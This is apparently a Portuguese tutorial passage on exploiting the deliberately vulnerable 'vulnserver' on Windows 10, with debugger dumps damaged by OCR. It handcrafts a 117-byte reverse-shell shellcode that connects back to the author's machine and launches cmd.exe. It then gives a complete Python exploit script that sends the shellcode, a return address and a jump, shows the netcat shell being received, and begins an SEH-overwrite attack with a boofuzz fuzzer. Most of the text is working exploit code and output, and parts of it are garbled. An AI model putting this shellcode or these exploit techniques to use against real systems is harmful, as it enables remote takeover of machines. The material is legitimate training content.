| UUC4F93H | 41        | ING EGA                   |   | C Ø ES ØØ2B 32bit Ø(FFFFFFFF)             |
| 0004F93B | 41        |                           |   | P 1 CS 0023 32bit 0(FFFFFFFF)             |
| 00047730 | 41        |                           |   | A Ø SS ØØ2B 32bit Ø(FFFFFFFF)             |
| 00047730 | 41        |                           |   | Z 1 DS 002B 32bit 0(FFFFFFFF)             |
| 00C4F93E | -11<br>A1 |                           |   | S Ø FS Ø053 32bit 376000(FFF)             |
| 00CAE9A0 | 41        | INC ECY                   |   | T Ø GS ØØ2B 32bit Ø(FFFFFFFF)             |
| 00C4F941 | 41        | INC ECS                   |   |   |
| 0004F942 | 41        | INC ECY                   |   | 0 0 LastErr ERROR_SUCCESS (00000000)      |
| 00C4F943 | 41        | INC FCX                   |   | EFL 00000246 (NO.NB.E.BE.NS.PE.GE.LE)     |
| 00C4F944 | 41        | INC FCX                   |   |   |
| 00C4F945 | 41        | INC FCX                   |   | SIØ empty g                               |
| 00C4F946 | 41        | INC ECX                   | ~ | SI1 empty g                               |

O salto foi precisamente para nosso primeiro "A" com sucesso. Agora que sabemos uma das formas de encontrar o tamanho do salto, vamos tentar descobrir este valor com outra abordagem.

### ENCONTRANDO A DISTÂNCIA DO SALTO COM MSF-NASM\_SHELL

Antes de irmos para ferramenta em si, temos que saber quantos bytes separam nosso endereço de origem (nosso primeiro "C") do nosso endereço de destino (nosso primeiro "A"). O que já sabemos é que temos 147 "A", então partimos desse principio, se observarmos novamente a imagem onde consultamos os endereços, veremos que temos alguns bytes entre o umltimo "A" e o primairo "C".

| 00101000        | 41      | INC ECY                           |
|-----------------|---------|-----------------------------------|
| 00001703        | 41      | ING EGA                           |
| 000817C4        | D311    | RCL DWORD PTR DS:LECX1,CL         |
| 00D8F9C6        | 50      | PUSH EAX                          |
| 00D8F9C7        | 6243 43 | BOUND EAX. QWORD PTR DS: [EBX+43] |
| ØØD8F9CA        | 43      | INC EBX                           |
| 00D8F9CB        | 43      | INC EBX                           |
| NADSE9CC        | 43      | INC EBX                           |
| 00D8F9CD        | 43      | INC FBX                           |
| 00D8F9CF        | 43      | INC FRX                           |
| 00D8F9CF        | 43      | INC FRY                           |
| GODOLICI        | 13      | INC EBY                           |
| OODOL 1DO       | 13      |                                   |
| NOD8FAD1        | 43      | INC EBX                           |
| 00D8F9D2        | 43      | INC EBX                           |
| 00D8F9D3        | 43      | INC EBX                           |
| 00D8F9D4        | 43      | INC EBX                           |
| 00D8F9D5        | 43      | INC EBX                           |
| 00D8F9D6        | 43      | INC EBX                           |
| 00D8F9D7        | 43      | INC EBX                           |
| 00D8F9D8        | 43      | INC EBX                           |
| 00D8F9D9        | 43      | INC EBX                           |
| ØØD8F9DA        | 43      | INC EBX                           |
| 00D8F9DB        | 43      | INC EBX                           |
| <b>GODSEGUC</b> | AR      | STOS DUORD PTR ESTIENTI           |
| GGDGFGDD        | AD      | CTOC DUODD DTD EC. [EDI]          |
| <b>NNUXEYUU</b> | H R     | STUS DWURD PIR ESTIBUT            |

Entre eles temos os bytes D3, 11, 50 e 62, ou seja, temos 147 bytes de "A" + 4 bytes separando os buffers, ou seja, temos 151 bytes entre os endereços de origem e destino.

Sabendo este valor, podemos consultar o msf-nasm\_shell com o comando JMP \$-151.

\$ msf-nasm\_shell nasm > JMP \$-151 00000000 E964FFFFF jmp 0xffffff69

E ele nos trouxe exatamente o tamanho do salto que encontramos com o Immunity: e964fffff. Ambas as tecnicas são váilidas e podem ser usadas.

Temos um buffer maior, agora com 147 bytes, mas sabemos que nosso reverse shell ou outros tipos de shell ocupam mais que 300 bytes, o que podemos fazer com o que temos?

Antes de responder esta pergunta, precisamos entender a anatomia de um reverse shell.

#### ANATOMIA DO REVERSE SHELL

Quando geramos um reverse shell com o msfvenom, recebemos como resposta uma serie de bytes, mas estes bytes tem toda uma arquitetura.

Um reverse ou bind shell nada mais é do que uma série de APIs do Windows que são ordenadas de forma que, ao serem chamadas, fazem uma conexão reversa com o atacante chamando uma instância geralmente do cmd.exe.

Basicamente a ordem das chamadas segue:

1 - Chama a API WSAStartup() para carregar as DLLs Winsock do Windows;

2 - Chama a API connect() ou WSASocketA() para criar um socket bind ou uma conexão reversa com o IP do atacante;

3 - Chama a API CreateProcessA() que por sua vez vai chamar o cmd.exe e redirecionar o STDIN, o STDOUT e o STDERR para o socket criado.

Como nosso alvo é um server TCP, existe uma grande chance das DLLs WinSock já estarem carregadas, e isso vai nos economizar muitos bytes na criação do shellcode.

A ideia é reutilizar as APIs já carregadas nativamente no programa para minimizar o tamanho do nosso shellcode.

Para desenvolvermos este shellcode, precisamos entender como funcionam as APIs que precisamos e como funcionam seus parâmetros, e traduzí-las para Assembly.

Uma observação importante, é que temos que evitar os badchars na construção do código, em nosso caso só temos o "\x00".

Vamos utilizar a própria documentação da Microsoft para nos auxiliar no processo.

A primeira API que vamos configurar é a WSASocketA() cuja documentação pode ser lida <u>aqui</u>.

SOCKET WSAAPI WSASocketA( int af, int type, int protocol, LPWSAPROTOCOL\_INFOA lpProtocolInfo, GROUP g, DWORD dwFlags );

Temos que ter em mente que para utilizar as APIs em Assembly, a ordem das chamadas tem que ser inversa, ou seja, vamos começar pela "dwFlags" e terminar na chamada da WSASocketA(), e por fim armazená-la em EAX.

Também precisamos saber o endereço da API no sistema alvo. Os endereços de funções não costumam mudar na mesma versão do Windows com os mesmos updates, portanto, como nosso alvo é o Windows 10 na versão 21H1 provavemImente este exploit só vai funcionar em alvos com a mesma versão. Porém o processo de descoberta e desenvolvimento é o mesmo para todas as versões.

Para descobrir os endereços que precisamos no OS, vamos utilizar o arwin que pode ser encontrado <u>aqui</u>.



Já sabemos o endereço da API no OS, vamos iniciar nosso codigo em assembly no próprio Kali.

| ; WSASocketA(  | )  |
|--|--|
| xor ebx, ebx<br>push ebx<br>push ebx<br>mov bl, 6<br>push ebx<br>xor ebx, ebx<br>inc ebx<br>push ebx<br>inc ebx<br>push ebx<br>mov ebx, 0x76e<br>call ebx<br>xchg eax, esi | ; Zrando EBX<br>; Fazendo push para o parametro 'dwFlags' que pode ser nulo<br>; Fazendo push para o parametro 'g' que pode ser nulo<br>; Fazendo push para o parametro 'lpProtocolInfo' que pode ser nulo<br>; Inserindo valor 6 no Protocol (IPPROTO=6)<br>; Fazendo push para o parametro 'protocol'<br>; Zerando EBX<br>; Incrementando 1 no EBX zerado 'type: SOCK_STREAM=1'<br>; Fazendo push para o parametro 'type'<br>; Incrementando 1 ao EBX que ja tem valor 1 'af: AF_INET=2'<br>; Fazendo push para o parametro 'af'<br>.67140 ; Endereco da WSASocketA() no Win10 21H1<br>; Chamada para WSASocketA()<br>; Salvando o socket em ESI |
|  |  |

Agora precisamos fazer a chamada para a API connect() cuja documentação pode ser encontrada <u>aqui</u>.

int WSAAPI connect( SOCKET s, const sockaddr \*name, int namelen );

Cujo parâmetro "sockaddr" segue a seguinte ordem:

```
struct sockaddr {
    ushort sa_family;
    char sa_data[14];
};
```

Vamos encontrar o endereço da connect() em nosso OS.

```
C:\Users\suite≻arwin ws2_32 connect
arwin - win32 address resolution program - by steve hanna - v.01
connect is located at 0x77505710 in ws2_32
```

Como em Assembly programamos em ordem inversa, o primeiro parâmetro a ser configurado na connect() é o "namelen", que representa o endereço para onde a conexão será criada, ou seja, da nossa máquina atacante constituido por IP e PORTA, mas os valores tem que ser passados em hexadecimal e com os bytes em ordem inversa, como o IP do meu Kali é 192.168.1.17, teria que seguir a ordem 171168192.

Podemos utilizar a função "hex()" do python para descobrir byte a byte do nosso endereço.

Podemos criar um script em python para descobrir byte a byte do nosso endereço.

ipToHex.py:

#!/usr/bin/python3

ip = "192.168.1.17" ip = ip.split(".")

print(' '.join((hex(int(i))[2:] for i in ip)))

E ele nos responde o IP byte a byte:

\$ python3 ipToHex.py c0 a8 1 11

Como precisamos preencher o script emm little indian, a ntação fica: 0x1101a8c0.

Agora vamos fazer o Assembly da função connect().

|   | connact |
|---|---------|
| , | CONNECL |

| push 0x1101a8c0  | ) ; Fazendo push do endereco de IP 192.168.1.17 em hexa |
|------------------|---|
| push word 0xfb20 | ) ; Fazendo push da porta hex(8443)                     |
| xor ebx, ebx     | ; Zerando EBX   |
| add bl, 2        | ; Inserindo o valor 2 em 'sa_family' (AF_INET=2)        |
| push word bx     | ; Fazendo push para o parametro 'sa_family'             |
| mov ebx, esp     | ; Apontando EBX para a estrutura sockaddr               |
| push byte 16     | ; Tamanho do sockaddr: sa_family + sa_data = 16         |
| push ebx         | ; Fazendo push para o apontador do parametro 'name'     |
| push esi         | ; Fazendo push no socket para o parametro 's'           |
| mov ebx, 0x76e6  | 5710 ; Endereco da connect() no Win10 21H1              |
| call ebx         | ; Chamando a connect()                                  |

Por ultimo, precisamos fazer a chamada para a API CreateProcessA() cuja documentação pode ser encontrada <u>aqui</u>.

Esta função é responsável por chamar o cmd.exe e enviar o STDIN, STDOUT e STDERR para o socket criado, é a função mais longa, pois seus parâmetros também chamam outras funções, porém a grande maioria pode ser nulo.

Abaixo a estrutura da CreateProcessA():

BOOL CreateProcessA( LPCSTR IpApplicationName. LPSTR lpCommandLine, LPSECURITY ATTRIBUTES IpProcessAttributes, LPSECURITY\_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID IpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS INFORMATION IpProcessInformation

Vamos encontrar o endereço da função no Win10 21H1.

C:\Users\suite≻arwin kernel32 CreateProcessA arwin - win32 address resolution program - by steve hanna - v.01 CreateProcessA is located at 0x778c2d90 in kernel32

Primeiro precisamos chamar a função "cmdA" que não existe, em seguida vamos usar a função "shr" (Shift Right) que vai mover os bytes à direita e zerar a origem, mais detalhes sobre a função aqui. O resultado final será "cmd\x00" sem que precisemos digitar o null byte.

Vamos ao código:

|   | ; CreateProcessA   | N()   |  |  |  |
|---|--|---|--|--|--|
|   | mov ebx, 0x646d6341 ; Movendo 'cmda' para EBX evitando null byte |   |  |  |  |
|   | shr ebx, 8   | ; Transformando EBX em 'cmd\x00'                            |  |  |  |
|   | push ebx   | ; Fazendo push do cmd                                       |  |  |  |
| mov ecx, esp ; Fazendo ECX apontar para cmd |  |   |  |  |  |
|   | ; Preenchendo pa   | arametro '_STARTUPINFOA'                                    |  |  |  |
|   | xor edx, edx   | ; Zerando EDX   |  |  |  |
|   | push esi   | ; Enviando hStdError para nosso socket                      |  |  |  |
|   | push esi   | ; Enviando hStdOutput para nosso socket                     |  |  |  |
|   | push esi   | ; Enviando hStdinput para nosso socket                      |  |  |  |
|   | push edx   | ; cDReserved = null   |  |  |  |
|   |  | , WSHOWWINDOW - Hull  |  |  |  |
|   | $x_{01} \in ax, eax$<br>mov av $0x_{01}(ax)$                     | , Zerando EAA<br>01 · dwElage = STARTE LISESTDHANDLES       |  |  |  |
|   | STARTE USESH   | IOWWINDOW   |  |  |  |
|   | push eax   | : Fazendo push do dwFlags                                   |  |  |  |
|   | push edx   | ; dwFillAtribute = null                                     |  |  |  |
|   | ,<br>push edx  | ; dwYCountChars = null                                      |  |  |  |
|   | push edx   | ; dxXCountChars = null                                      |  |  |  |
|   | push edx   | ; dwYSize = null  |  |  |  |
|   | push edx   | ; dwXSize = null  |  |  |  |
|   | push edx   | ; dwY = null  |  |  |  |
|   | push edx   | ; dwX = null  |  |  |  |
|   | push edx   | ; ip i itie = null  |  |  |  |
|   | push edx   | ; IpDesktop = null  |  |  |  |
|   | push eax   | ; Ipreserved = hull   |  |  |  |
|   | auu ui, 44<br>push edv   | , CD - 44<br>: Eazendo push da - STARTHPINEOA para a stack  |  |  |  |
|   | mov eax esp  | · Fazendo o FAX apontar para ESP onde esta a STARTI IPINEOA |  |  |  |
|   | xor edx, edx   | ; Zerando EDX   |  |  |  |
|   | · Proonchondo o  |   |  |  |  |
|   | , Fleenchendo o  |   |  |  |  |
|   | push edx   | ; lpProcessInformation                                      |  |  |  |
|   | push edx   | ; lpProcessInformation + 4                                  |  |  |  |
|   | push edx   | ; lpProcessInformation + 8                                  |  |  |  |
|   | push edx   | ; lpProcessInformation + 12                                 |  |  |  |
|   | ; Chamando a Cr  | eateProcessA()  |  |  |  |
|   | push esp   | ; lpProcessInformation                                      |  |  |  |
|   | push eax   | ; lpStartupInfo   |  |  |  |
|   | xor ebx, ebx   | ; Zerando EBX   |  |  |  |
|   | push ebx   | ; lpCurrentDirectory = nulo                                 |  |  |  |
|   | push ebx   | ; lpEnvironment = nulo                                      |  |  |  |
|   | push ebx   | ; dwCreationFlags = nulo                                    |  |  |  |
|   | Inc ebx  | ; incrementando 1 ao EBX zerado (binheritHandles = Irue)    |  |  |  |
|   | push ebx   | , razendo push para pinneritHandles                         |  |  |  |
|   |  | , Zeranuu EDA<br>: InThreadAttributes = nulo                |  |  |  |
|   | push ebx   | · InProcessAttributes = nulo                                |  |  |  |
|   | push ecx   | : Tornando IpCommandline um pointer para 'cmd'              |  |  |  |
|   | push ebx   | ; IpApplicationName = nulo                                  |  |  |  |
|   | mov ebx, 0x752b  | 2d90 ; Endereco da CreateProcessA() no Win10 21H1           |  |  |  |
|   | call ebx   | ; Chamando a CreateProcessA());                             |  |  |  |
| - 1   |  |   |  |  |  |

Juntando todo o código Assembly que fizemos no arquivo shellcode.asm, podemos compilar com o nasm no próprio Kali para gerar o arquivo elf shellcode.o.

\$ nasm -f elf32 shellcode.asm -o shellcode.o);

Se utilizarmos o comando "objdump" podemos ver o disassembly do codigo.

\$ objdump -d shellcode.o -M intel file format elf32-i386 shellcode.o: Disassembly of section .text: 00000000 <.text>: 0: 31 db xor ebx,ebx 2: 53 push ebx 3: 53 push ebx 4: 53 push ebx 5: b3 06 mov bl,0x6 push ebx 7: 53 xor ebx,ebx 8: 31 db 6f: 53 push ebx 70: bb 90 2d 2b 75 mov ebx,0x752b2d90 75: ff d3 call ebx

Este é basicamente o shellcode que utilizaremos, mas precisamos sanitizá-lo para podermos utilizar em nosso sxript, vamos utilizar o próprio bash para isso.

E temos um reverse shell de apenas 117 bytes que cabem perfeitamente no no espaço de 147 bytes!

#### ATUALIZANDO E ORGANIZANDO NOSSO EXPLOIT

Com o shellcode em mãos, vamos atualizar nosso script.

xplgter.py:

| #!/usr/bin/python3  |
|---|
| import socket   |
| # variaveis de conexao<br>ip = "192.168.1.26"<br>porta = 9999   |
| # payload a ser enviado<br>offset = 147   |
| =<br>b"\x31\xdb\x53\x53\x53\xb3\x06\x53\x31\xdb\x43\x53\x43\x53\xbb\x40\x71\xe6\x76\xff\xd3\<br>x96\x68\xc0\xa8\x01\x0c\x66\x68\x20\xfb\x31\xdb\x80\xc3\x02\x66\x53\x89\xe3\x6a\x10\x5<br>3\x56\xbb\x10\x57\xe6\x76\xff\xd3\xbb\x41\x63\x6d\x64\xc1\xeb\x08\x53\x31\xd2\x56\x56\x<br>56\x52\x52\x52\x51\xc0\x66\xb8\x01\x01\x50\x52\x52\x52\x52\x52\x52\x52\x52\x52\x52 |
| payload = b"GTER /.:/" # funcao inicial<br>payload += shellcode<br>payload += b"A" * (offset - len(shellcode))<br>payload += b"\xd3\x11\x50\x62" # endereco de retorno<br>payload += b"\xe9\x64\xff\xff\xff" # salta para o primeiro buffer<br>payload += b"C" * (309 - 147 - 4 - 5) # segundo buffer   |
| s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>s.connect((ip,porta))  |
| print("Enviando payload")   |
| s.send(payload + b"\r\n")<br>s.close()  |
| print("Payload enviado! Cheque o netcat.")  |

Script pronto, vamos setar um netcat na porta 8443 que configuramos no Assembly e testar nosso exploit.



Como podemos ver, recebemos a conexão reversa, mas não recebemos o shell, precisamos rodar novamente no Immunity Debbuger para entender o que está ocorrendo. Vamos continuar com o breakpoint no nosso endereço de retorno, e avançar passo a passo com F7 até encontrarmos a inconsistência.

| & Immunity Debugger - Anserver.exe - [CPU            | - thread 000013B0]   | – 0 ×   |
|--|--|---|
| C File View Debug Plugins ImmLib                     | Options Window Help Jobs   | _ 5   |
| > 3 ■ x + x + 11 + + 2 ↓                             | •」 → lemtwhcPkbzr  | s ? Code auditor and software assessment specialist needed  |
| 00BFF931 31DB XOR E                                  | BX,EBX   | Registers (FPU) < < <   |
| 000000000000000000000000000000000000                 | EBX<br>EBX<br>EBX<br>EBX<br>EBX<br>EBX<br>BX .EBX<br>BX<br>EEX<br>EBX<br>EEX<br>EAX<br>EEX<br>EAX<br>EEX<br>EBX<br>EBX<br>EBX<br>EBX<br>EBX<br>EBX<br>EB | EAX       000 FP 29         ECX       000 P1 1 DC         ECX       000 000 00         EDX       000 000 00         EDX       000 000 00         EDX       000 001 04         EDY       000 001 04         EDY       000 002 32 bit         C       0       60 223 32 bit         C       0       000 022 32 bit         C       150 0023 32 bit       22 bit         C       150 0023 22 bit       000 0000000         FE       000 00246 (NO_NB_E, BE, NS_PE, GE, LE)         ST0       000 00246 (NO_NB_E, BE, NS_PE, GE, LE)         ST0       empty g       32 1 0         ST1       empty g       32 1 0         FST       0000 0 cond 0 0 0 0 0 |
| Address Hex dump                                     | ASCII  | ∧ 00BFF9B0 414141 AAAA<br>00PFF9PA 414141 AAAA  |
| $\begin{array}{cccccccccccccccccccccccccccccccccccc$ | 9<br>9<br>9<br>9<br>9<br>9<br>9<br>9<br>9<br>9<br>9<br>9<br>9<br>9<br>9<br>9<br>9<br>9<br>9  | 000FF998c       4141411       AAAA         000FF998c       4141411       AAAAA         000FF998c       434343       CCCC         000FF998       43434343       CCCC         000FF998       43434343       CCCC         000FF998       43434343       CCCC         000FF998       ABABABAB       %2%2         000FF998       ABABABAB       %2%2         000FF998       ABABABAB       %2%2         000FF998       ABABABABAB       %2%2         000FF998       ABABABABABABABABABABABABABABABABABABAB  |
|  |  |   |

Se analisarmos este ponto da execução, veremos que o ESP está apontando para alguns bytes abaixo do fim do nosso shellcode. Isto significa que os PUSHs utilizados em nosso shellcode, fazem com que o ESP se aproxime cada vez mais dele até o ponto de sobrescrevê-lo. Pois ao ponto que a execução flui, no sentido crescente dos endereços de memória, a pilha cresce para trás.

O que podemos fazer, é realinhar nossa stack, antes do envio do nosso shellcode, e isso pode ser feito com duas instruções: PUSH EAX e POP ESP.

O PUSH EAX vai empurrar o valor corrente de EAX para o topo da stack, enquanto o POP ESP vai trazer de volta o valor de ESP, movendo o stack pointer acima do nosso shellcode e protegendo de ser sobrescrito.

Para encontrar os opcodes corretos, podemos utilizar o msf-nasm\_shell.

| \$ msf-nasm_shell<br>nasm > PUSH EAX |          |
|--------------------------------------|----------|
| 00000000 50<br>nasm > POP ESP        | push eax |
| 00000000 5C                          | pop esp  |

Temos os opcodes \x50 e \x5c, vamos adicionálos acima de nosso shellcode.

xplgter.py:

```
#!/usr/bin/python3
import socket
# variaveis de conexao
ip = "192.168.1.30"
porta = 9999
# payload a ser enviado
offset = 147
shellcode
                                                                                   =
b"\x31\xdb\x53\x53\x53\x53\x53\x53\x53\x60\x53\x31\xdb\x43\x53\x43\x53\xbb\x40\x71\xe6\x76\xff\xd3\
x96\x68\xc0\xa8\x01\x0c\x66\x68\x20\xfb\x31\xdb\x80\xc3\x02\x66\x53\x89\xe3\x6a\x10\x5
3\x56\xbb\x10\x57\xe6\x76\xff\xd3\xbb\x41\x63\x6d\x64\xc1\xeb\x08\x53\x31\xd2\x56\x56\x
\x2c\x52\x89\xe0\x31\xd2\x52\x52\x52\x52\x52\x54\x50\x31\xdb\x53\x53\x53\x43\x53\x4b\x53\x
53\x51\x53\xbb\x90\x2d\x2b\x75\xff\xd3"
alinhamento = b''x50x5c''
payload = b"GTER / .: /" # funcao inicial
payload += alinhamento
payload += shellcode
payload += b"A" * (offset - 2 - len(shellcode))
payload += b"\xd3\x11\x50\x62" # endereco de retorno
payload += b"\xe9\x64\xff\xff\xff" # salta para o primeiro buffer
payload += b"C" * (309 - 147 - 4 - 5) # segundo buffer
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,porta))
print("Enviando payload...")
s.send(payload + b"\r\n")
s.close()
print("Payload enviado! Cheque o netcat.")
```

Agora podemos setar o netcat na porta utilizada no shellcode, em nosso caso 8443 iniciar o vulnserver fora do Immunity e rodar nosso script.

| •  |  |  |  |   |        |                   |
|--|--|--|--|---|--------|-------------------|
| File Action  | ns Edit  | View                                       | Help   |   |        |                   |
| hastur@ha  | stur: ~/D  | esktop                                     | /estudos/binarios  | /windows/VulnSe   | rver × | hastur@hastur: ~/ |
| (hasture<br>s nc -vln<br>listening of<br>connect to<br>Microsoft W<br>(c) Microso              | <pre>(hastur@hastur)-[~/Desktop]</pre>   |  |  |   |        |                   |
| C:\Users\s<br>cd \   | uite∖Des   | ktop>c                                     | :d ∖   |   |        |                   |
| C:\>dir<br>dir<br>Volume in<br>Volume Ser  | C:\>dir<br>dir<br>Volume in drive C has no label.<br>Volume Serial Number is 6E21-762B |  |  |   |        |                   |
| Directory  | of C:\   |  |  |   |        |                   |
| 08/10/2021<br>12/07/2019<br>08/10/2021<br>08/10/2021<br>08/10/2021<br>08/10/2021<br>08/10/2021 | 04:59<br>02:14<br>04:55<br>04:58<br>04:58<br>04:54<br>08:06<br>0 F<br>7 D              | PM<br>AM<br>PM<br>PM<br>PM<br>PM<br>ile(s) | <dir><br/><dir><br/><dir><br/><dir><br/><dir><br/><dir><br/><dir><br/><dir><br/>32,306,380,800</dir></dir></dir></dir></dir></dir></dir></dir> | nasm<br>PerfLogs<br>Program Files<br>Program Files<br>Python27<br>Users<br>Windows<br>Ø bytes<br>Ø bytes free | (x86)  |                   |
| 0.0  |  |  |  |   |        |                   |

E conseguimos nosso shell reverso.

Nesta vulnerabilidade encontramos um problema de tamanho de buffer para inserir o shellcode, mas conseguimos vencer esta limitação, reutilizando bibliotecas que o programa já utiliza.

Nos próximos comandos, vamos encontrar complexidades diferentes.

### COMANDO GMON

O comando GMON, assim como os demais, recebe um argumento e dá uma resposta. Neste comando iremos explorar outa tecnica de exploração de buffer overflow em binários Windows.



### FUZZING

Desta vez vamos experimentar outra técnica para o fuzzing, o python tem uma a biblioteca boofuzz que pode ser usada, vamos escrever nosso script.

fuzzing2.py:

```
#!/usr/bin/python3
from boofuzz import *
import time
def get banner(target, my logger, session, *args, **kwargs):
  banner template = b"Welcome to Vulnerable Server! Enter HELP for help."
  try:
    banner = target.recv(1024)
  except:
    print("Nao foi possivel a conexao.")
    exit(1)
  my logger.log check("Recebendo banner...")
  if banner template in banner:
    my_logger.log_pass("Banner recebido!")
  else:
    my_logger.log_fail("Banner nao recebido")
    print("Banner nao recebido, saindo...")
    exit(1)
def main():
  session = Session(
       sleep time = 1,
       target = Target(
         connection=SocketConnection("192.168.1.30", 9999, proto='tcp')
         ),
  s initialize(name="Request")
  with s block("Host-Line"):
    s static('GMON', name="command name")
    s_delim(" ")
s_string("FUZZ", name="comando da variavel")
    s delim("\r\n")
  session.connect(s get("Request"), callback=get banner)
  session.fuzz()
if __name__ == "__main__":
  main()
```

Este script fará várias tentativas de fuzzing e tentará receber o banner novamente, uma vez que não receba mais, o programa parou e o fuzzing para.

| [2021-00-11 13:40:53,570] est sept mizza non regest   |
|---|
| [2021-00-11 13:40:53,371] Into. seturing 10007 bytes  |
|   |
|   |
|   |
|   |
|   |
|   |
|   |
| 2F 2P   |
| 2f 2e |
| e 2f 2e 2f  |
| 2e 2f 2e  |
| 2e 2f |
| f 2e 2f 2e  |
| 2f 2e   |
| 2f 2e |
| e 2f 2e 2f  |
| <u>20/27.20/27.20/27.20/27.20/27.20/27.20/27.20/27.20/27.20/27.20/27.20/27.20/27.20/27.20/27.20/27.20/</u>  |
| /.  |
|   |
| / . / . / . / . / . / . / . / . / . / .   |
| - 1 + 1 + 1 + 1 + 1 + 1 + 1 + 1 + 1 + 1   |
| 1 + 1 + 1 + 1 + 1 + 1 + 1 + 1 + 1 + 1 +   |
|   |
| / ./ ./ ./ ./ ./ ./ ./ ./ ./ ./ ./ ./ ./  |
|   |
|   |
|   |
| /././././././././././././././././././.  |
| [2021-08-11 13:48:53,402]   |
| [2021-08-11 13:48:53 402]   |
| [2021 08-11 13:40:53,402] Ener Closing target connection  |
| [2021-08-11 13:48:53,402] Info: Connection closed   |
| [2021-08-11 13:48:53,402] Test Step: Sleep between tests.   |
| [2021-08-11 13:48:53,403] Info: sleeping for 1.000000 seconds   |
| [2021-08-11 13:48:54,410] Test Case: 84: Reguest:[Reguest.Host-Line.comando da variavel:36]   |
| [2021-08-11 13:48:54,410] Info: Type: String  |
| [2021-08-11 13:48:54,411] Info: Opening target connection (192.168.1.32:9999)   |
| [2021-08-11 13:48:54,411] Info: Connection opened.  |
| [2021-08-11 13:48:54,411] Test Step: Monitor CallbackMonitor#139720867594688[pre=[],post=[],r   |
| estart=[],post_start_target=[]].pre_send()  |
| [2021-08-11 13:48:54,411] Test Step: Callback function 'get_banner'   |
| [2021-08-11 13:48:54,411] Info: Receiving   |
| [2021-08-11 13:48:59,547] Received:   |
| [2021-08-11 13:44:59,547] Check: Recebendo banner   |
| [2021-08-11 13:48:59,547] Check Failed: Banner nao Recebido   |

Podemos ver que o script parou ao enviar 10.007 bytes constituidos da repetição de "./././", se voltarmos ao codigo fonte que analisamos no inicio, veremos que o GMON espera receber "/" para ativar a função vulnerável.

Vamos esboçar nosso script.

xplgmon.py:

| #!/usr/bin/python3   |  |  |  |
|--|--|--|--|
| import socket  |  |  |  |
| ip = "192.168.1.30"<br>porta = 9999  |  |  |  |
| offset = 10007   |  |  |  |
| payload = b"GMON ./"<br>payload += b"A" * offset   |  |  |  |
| s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>s.connect((ip,porta))<br>s.recv(1024) |  |  |  |
| print("Enviando payload")  |  |  |  |
| s.send(payload + b"\r\n")<br>s.close()<br>print("Payload enviado.")                            |  |  |  |

Preparando o vulnserver no Immunity Debbuger, vamos ver seu comportamento.

| 🗳 Immunity Debugger - vulnser 🖟 r.exe - [CPU - thread 00001390, module msvcrt]  | -                                    | đ                       | ×     | <        |
|---|--------------------------------------|-------------------------|-------|----------|
| C File View Debug Plugins ImmLib Options Window Help Jobs   |                                      |                         | - 5   | ×        |
| 🔁 🐝 🔟 🔣 💶 🗙 🕨 🖬 🙀 👯 🛃 🛃 🚽 🐳 lemtwh cPk bzrs? Inmunity: Consulting Services Manager  |                                      |                         |       |          |
| 76056819 8917 HOU DWORD PTR DS: [EDI], EDX Registers (FPU)  | <                                    |                         | (     | <        |
| 10000014       0347       04       1000014       1000014       10000014       10000014         76000611       0300000000       0300000000000000000000000000000000000  | 0 Z I<br>0 0 Z I<br>0 0 Z I<br>1 1 1 | ) I (<br>) J 0 (<br>) 1 | (GT)  | 4<br>AAF |
| Address Hex dumn ASCII ADDRESS Hex dumn ASCII   | 101848                               |                         |       | ^        |
| 00403000       FF       FF | llnser<br>/.:/A<br>/.:/A             | 90 - 004<br>19999       | 10182 | ~        |
|   |                                      |                         |       | -        |
| 121:35:35] Hocess violation when writing to LUUBEUUUUJ - use Shift+F7/F8/F9 to pass exception to program  | P                                    | aused                   | L I   |          |

Desta vez, nós causamos o crash no programa, mas não sobrescrevemos o EIP. Isso significa que o vulnserver está tratando o input de alguma forma.



Se olharmos para o "SEH" (View > SEH chain), podemos ver que conseguimos sobrescrever tanto o SEH quanto o nSEH. Mas do que isso se trata?

### STRUCTURE EXCEPTION HANDING

O SEH é um mecanismo unforme para responder a excessões criado pela Microsoft e implantado desde a versão XP. Ele permite que linguagens como C/C++ utilizem a estrutura de excessões utilizadas por linguagens de alto nível (try-except-finally). Abaixo um exemplo:

\_\_try {
 ....
 strcpy(mybuff, myinput);
}
\_\_except (INSUFFICIENT\_MEMORY) {
 my\_exception\_handler();
}

Onde o programa tentará realizar um "strcpy()", e se ele falhar por "INSUFFICIENT\_MEMORY", vai chamar a função "my\_exception\_handler()".

Quando uma excessão ocorre, o OS caminha pela corrente SEH em busca de uma saída para aquela excessão. Se nenhuma saída for encontrada, o programa responde com a saída padrão: "FFFFFFF".

A estrutura do \_EXCEPTION\_REGISTRATION\_RECORD:

```
typedef struct _EXCEPTION_REGISTRATION_RECORD {
    PEXCEPTION_REGISTRATION_RECORD Next;
    PEXCEPTION_DISPOSITION Handler;
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;
```

Onde o parametro "Next" aponta para o próximo endereço de SEH, também chamado de SEH, e o "Handler" aponta para o SEH.

Mais sobre como funciona o SEH pode ser encontrado aqui.

Para explorarmos o SEH, precisamos da habilidade de causar uma excessão, e sobrescrever o endereço do SEH e nSEH para apontar para o endereço do nosso código.

### EXPLORANDO O SEH

Se rodarmos nosso script novamente e monitorarmos no Immunity, podemos visualizar a corrente SEH e visualizar no painel (Shift+F9).

| 🗳 Immunity Debugger - vulnserver.exe - [CPU - thread 00000AE0] 🛛 🔓   | -      | ٥    | ×     |
|--|--------|------|-------|
| C File View Debug Plugins ImmLib Options Window Help Jobs  |        |      | - 8 × |
| 🗁 🐝 🗉 🔣 📢 🗙 🕨 🖬 🙀 👫 🕌 🕂 l e m t w h c P <u>k</u> b z r s ? Code auditor and software assessment specialist nee   | ded    |      |       |
| ∧ Registers ⟨FPU⟩  | <      | <    | <     |
| EAX 00000000<br>ECX 414141<br>EDX 772C87C0 ntd11.772C87C0<br>EBX 0000000<br>ESP 0007EC20<br>EBP 0007EC40<br>EBT 00000000<br>EST 00000000   |        |      |       |
| EIP <b>414141</b>  |        |      |       |
